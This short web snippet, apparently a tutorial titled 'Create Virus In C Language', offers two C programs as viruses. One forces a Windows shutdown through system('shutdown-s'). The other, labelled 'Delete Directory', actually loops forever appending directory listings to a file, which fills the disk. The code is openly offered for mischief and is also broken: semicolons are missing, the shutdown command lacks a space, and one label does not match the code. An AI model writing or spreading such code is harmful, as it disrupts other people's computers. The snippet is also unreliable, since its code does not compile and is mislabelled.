Create Virus In C Language

PC Shutdown:

#include<stdio.h>
#include<conio.h>
void main()
{
system("shutdown-s");
getch()
}

Delete Directory:

#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>a.sa.exe");
getch()
}
}